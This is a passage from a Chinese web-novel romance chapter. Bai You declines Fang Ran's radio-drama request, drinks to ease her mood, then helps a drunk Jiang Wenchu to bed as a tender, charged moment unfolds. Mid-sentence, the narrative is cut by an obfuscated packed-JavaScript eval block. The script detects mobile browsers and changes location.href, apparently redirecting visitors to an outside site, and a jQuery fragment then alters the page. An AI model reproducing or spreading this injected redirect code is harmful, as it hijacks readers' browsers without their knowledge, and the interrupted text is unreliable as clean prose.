不过之前她对广播剧的制作不是很熟悉，也一直没有信得过的人，就不了了之了。现在认识白柚之后，又重新燃起了希望。 “但是这样亏损的风险很大。”虽然方然话里话外都没提过钱的事，想来是家里条件不差，但白柚还是友情提示了一下。 谁知方然眨了眨眼：“没关系，只要她们能合作，成本不高的话，我都能接受的。” 白柚喝了一口茶润润嗓，然后放下茶杯：“你要是非常想做的话，我可以给你介绍几个朋友，看看她们有没有兴趣。” 然后白柚就再一次见到了方然的笑容凝固：“白柚姐姐不愿意帮我吗？” 白柚婉拒：“我做完手里的剧就不做了。” 方然连忙追问：“那等毕业之后呢？” “还有别的安排。” “哦……”方然耷拉下眸子。 她双手握着茶杯，低下头去含着杯沿，过了半晌，才无精打采地说：“那我再想想……谢谢白柚姐姐。” 白柚坐直了身子看着她，心里泛起一股酸味。 不知道江文初对她的感觉，是不是就像是她对方然一样的。只是多了一层的白允关系，她对自己要亲热不少。 “你们的菜上完了，慢用哈。”服务员用一个不锈钢方盘装着她们的烧烤，给她们放到了桌子上。 说完，服务员朝她们笑了笑，正准备走，就被白柚叫住了。 “麻烦帮我拿两瓶啤酒，谢谢。” - 白柚跟方然没有一起待多久。 虽然点了两瓶啤酒，但白柚一上来吨吨地喝，菜没吃多少，酒倒是喝完了。 方然也看出来了她的心情很差，不再拉着她讲一些有的没的。 两人就那么沉默了好一会儿，最后还是方然打破了僵局：“那白柚姐姐，我先回去啦？” “我送你吧。” 最后还是白柚结了账，把方然送到了小区门口，目送她进去。 方然走到门口，顿了一下，又转过头朝白柚走了回来：“白柚姐姐。” “嗯？” “我能问你个问题吗？”方然低着头，右脚贴着地面晃着，擦出有些刺耳的声音。 街道两旁的路灯散发着柔和而冷清的光，白柚和方然的影子贴在一起，被拉得老长。 白柚往后撤了半步，让影子也分开，声音平稳：“你说。” 看到白柚的动作，方然默然不语。有水珠在她眼眶里打转，她却强忍着不让其落下。 过了几秒，方然却忽然笑了：“没事了白柚姐姐，回去路上慢点，记得到家给我发个消息。” 白柚听到她的声音在很努力地压制，却还是有些颤抖。 “好，拜拜。” - 白柚回到家时，江文初还没回来。 嘴里的啤酒味让她有点难受。刚才只顾着解闷喝得太急了，这会儿不仅心里难受，胃里也翻江倒海的。 白柚一到家给方然发了个“到了”，又去刷了个牙，清新的薄荷味充满了她的口腔，这才让她好受了一些。 从到家开始，江小白就乖乖地跟在她后面：她去哪儿，江小白就去哪儿；她停下，江小白也敛了尾巴坐在那里。 直到开门声再次响起——江小白直接窜到了门口，对着进门的江文初一直“喵喵喵”。 白柚听到动静，从沙发上撑起身子来，等着江文初过来。 可门一关上，除了江小白跳动的声音和叫声外，门口再没了动静。 江文初应该是在门口到厨房的拐角。从白柚这边看去，正好是视野盲区。 过了几秒，白柚蹙了蹙眉，快步走了过去。 江文初背靠着进门右边的墙角坐在地上，脸颊上浮着淡淡的红晕，白柚过去，她就眼神迷离地看着她，微微喘着粗气。 那天两人喝酒，白柚一共放了大概200ml伏特加，江文初喝完都还有力气照顾她。 今天这样，江文初是喝了多少。 “姐姐，”白柚去扶她，轻唤了一声，“我们先起来。” 江文初不答应，但也不挣扎，一手借着白柚的力，一手撑着墙，也站起了身。 白柚打算先把江文初扶回她的卧室。 她把江文初的一只手绕过脖子搭在自己的肩上，而她自己的手臂则环绕在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785798|158034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江文初的腰上，却不敢用力握上去。 江文初的体重几乎尽数倾斜在白柚身上，她的呼吸带着淡淡的梅子酒香，身上又还在不停散发着西柚味。 “慢慢来。”江文初的步伐不稳，两人走的每一步白柚都格外小心。 江文初的卧室和书房是门对门，白柚从来没有觉得从门口到那里的距离如此漫长。 终于，白柚轻轻推开门，按开灯，将江文初扶进了她房间的卫浴。 她让江文初刷了个牙。 一开始江文初还乖乖听话，可眼看马上就要刷完了，她闭上了眼，手上的动作也就此停下。 白柚一唤三不应，只好帮她拿出了牙刷洗干净，又接了一杯水，一句一句地指挥她把嘴里的泡沫给清干净了，替她擦了擦脸。 把江文初小心翼翼地放在床上，然后解开江文初的外套，脱下她鞋子接了盆热水给她暖了暖脚。 一切妥当后，白柚去厨房给她接了杯温水放在床头柜上，才又跪在床上把江文初扶着坐起来靠在床头。 江文初的眼睛半睁半闭，她似乎在努力集中精神，但酒精的作用又让她的意识模糊。 “姐姐，喝点水吗？”白柚把水杯端到她面前。 “嗯……”这会儿江文初不是意识全无了，但她接过水杯，白柚还是怕她拿不稳，一直用手握着杯尾。 抿了几小口，江文初松了手，把杯子推开了，迷蒙着眼睛看白柚。 房间内的灯光柔和，映在江文初脸上，更衬得她温婉。 她的睫毛纤长，还带着点点水汽，白柚目光下落，顺着她直挺的鼻梁，就落到了她水润饱满的红唇上。 白柚觉得自己现在也有一点口干。 她下意识低下头舔了舔下唇，再抬眸就见江文初看着她在笑。 江文初是个温柔爱笑的人，白柚平常不少见她笑的样子，却从来没有笑得这样……甜，就好像她看着的人是她的心中挚爱。 “姐姐……” 理智让白柚想站起身来，下一瞬，江文初就靠过来，牵上了她的左手。 白柚怕等会儿把水洒在床上，连忙把右手中的杯子搁在了床头柜上。 一侧身，江文初就又朝她靠近了些。 白柚下意识往后仰去，江文初却搂住了她的腰。 江文初力气不大，甚至可以说是没有，白柚却被她框住了，丝毫推拒不了地被江文初往她身前带。 白柚能感受到江文初灼热的呼吸。 两人之间的距离越来越近，白柚看到江文初的视线开始下落，落在了她的唇上。 两种酒的味道混杂着西柚味，让白柚的理智近乎瓦解。 “姐姐……”白柚用力反握住江文初的右手，“你知道……我是谁吗？”